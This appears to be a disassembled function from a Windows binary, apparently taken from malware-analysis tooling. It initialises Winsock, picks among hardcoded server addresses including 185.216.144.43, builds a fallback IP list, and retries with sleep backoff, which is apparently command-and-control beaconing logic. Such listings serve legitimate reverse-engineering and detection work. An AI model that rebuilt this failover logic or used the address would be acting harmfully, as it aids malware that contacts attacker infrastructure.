Function at 0x1e6b7423b63
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
mov ecx, 0
call sub.msvcrt.dll__time64
mov ecx, eax
call sub.msvcrt.dll_srand
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x1e6b7423ba3
mov eax, 1
jmp 0x1e6b7423ea4
mov dword [rbp + 0x168], 0xfffffff6
jmp 0x1e6b7423e88
call sub.msvcrt.dll_rand
movsxd rcx, eax
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rax, rcx
mul rdx
shr rdx, 1
mov rax, rdx
add rax, rax
add rax, rdx
sub rcx, rax
mov rdx, rcx
mov dword [rbp + 0x16c], edx
mov dword [rbp + 0x164], 0
jmp 0x1e6b7423c9c
mov edx, dword [rbp + 0x164]
mov eax, dword [rbp + 0x16c]
add eax, edx
movsxd rcx, eax
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rax, rcx
mul rdx
shr rdx, 1
mov rax, rdx
add rax, rax
add rax, rdx
sub rcx, rax
mov rdx, rcx
mov eax, edx
mov dword [0x1e6b7447060], eax
mov eax, dword [0x1e6b7447060]
mov eax, eax
shl rax, 4
mov rdx, rax
lea rax, str.185.216.144.43
add rax, rdx
mov rcx, rax
call fcn.1e6b74232c8
test eax, eax
jne 0x1e6b7423c95
mov dword [rbp + 0x168], 0xfffffff6
mov dword [rbp + 0x164], 0xffffffff
call sub.msvcrt.dll_rand
movsxd rcx, eax
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rax, rcx
mul rdx
shr rdx, 1
mov rax, rdx
add rax, rax
add rax, rdx
sub rcx, rax
mov rdx, rcx
mov dword [rbp + 0x16c], edx
add dword [rbp + 0x164], 1
mov eax, dword [rbp + 0x164]
cmp eax, 2
jbe 0x1e6b7423bf1
lea rax, [rbp - 0x48]
lea rdx, [0x1e6b7447050]
mov rcx, rax
call fcn.1e6b7421b46
test al, al
je 0x1e6b7423e56
mov eax, dword [0x1e6b7447050]
shl eax, 4
mov eax, eax
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [0x1e6b7447048], rax
mov dword [rbp + 0x160], 0
jmp 0x1e6b7423d98
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x160]
shl edx, 2
movsxd rdx, edx
add rdx, 3
add rax, rdx
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp - 0x48]
mov edx, dword [rbp + 0x160]
shl edx, 2
movsxd rdx, edx
add rdx, 2
add rax, rdx
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp - 0x48]
mov r8d, dword [rbp + 0x160]
shl r8d, 2
movsxd r8, r8d
add r8, 1
add rax, r8
movzx eax, byte [rax]
movzx r9d, al
mov r8, qword [rbp - 0x48]
mov eax, dword [rbp + 0x160]
shl eax, 2
cdqe
add rax, r8
movzx eax, byte [rax]
movzx r10d, al
mov r8, qword [0x1e6b7447048]
mov eax, dword [rbp + 0x160]
shl eax, 4
cdqe
add rax, r8
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
mov r8d, r10d
lea rdx, str._d._d._d._d
mov rcx, rax
call sub.msvcrt.dll_sprintf
add dword [rbp + 0x160], 1
mov edx, dword [rbp + 0x160]
mov eax, dword [0x1e6b7447050]
cmp edx, eax
jb 0x1e6b7423cef
mov rax, qword [rbp - 0x48]
test rax, rax
je 0x1e6b7423dc9
mov rax, qword [rbp - 0x48]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp - 0x48], 0
mov dword [rbp + 0x15c], 0
jmp 0x1e6b7423e20
mov eax, dword [rbp + 0x15c]
add eax, 3
mov dword [0x1e6b7447060], eax
mov rdx, qword [0x1e6b7447048]
mov eax, dword [rbp + 0x15c]
shl eax, 4
cdqe
add rax, rdx
mov rcx, rax
call fcn.1e6b74232c8
test eax, eax
jne 0x1e6b7423e19
mov dword [rbp + 0x168], 0xfffffff6
mov dword [rbp + 0x15c], 0xffffffff
add dword [rbp + 0x15c], 1
mov edx, dword [rbp + 0x15c]
mov eax, dword [0x1e6b7447050]
cmp edx, eax
jb 0x1e6b7423dd5
mov rax, qword [0x1e6b7447048]
test rax, rax
je 0x1e6b7423e56
mov rax, qword [0x1e6b7447048]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [0x1e6b7447048], 0
cmp dword [rbp + 0x168], 0
jle 0x1e6b7423e77
mov eax, dword [rbp + 0x168]
imul eax, eax
imul eax, eax, 0x36ee80
mov ecx, eax
call sub.KERNEL32.dll_Sleep
jmp 0x1e6b7423e81
mov ecx, 0x493e0
call sub.KERNEL32.dll_Sleep
add dword [rbp + 0x168], 1
cmp dword [rbp + 0x168], 5
jle 0x1e6b7423bb2
call fcn.1e6b74217f4
mov ecx, 0
call sub.msvcrt.dll_exit
add rsp, 0x1f0
pop rbp
ret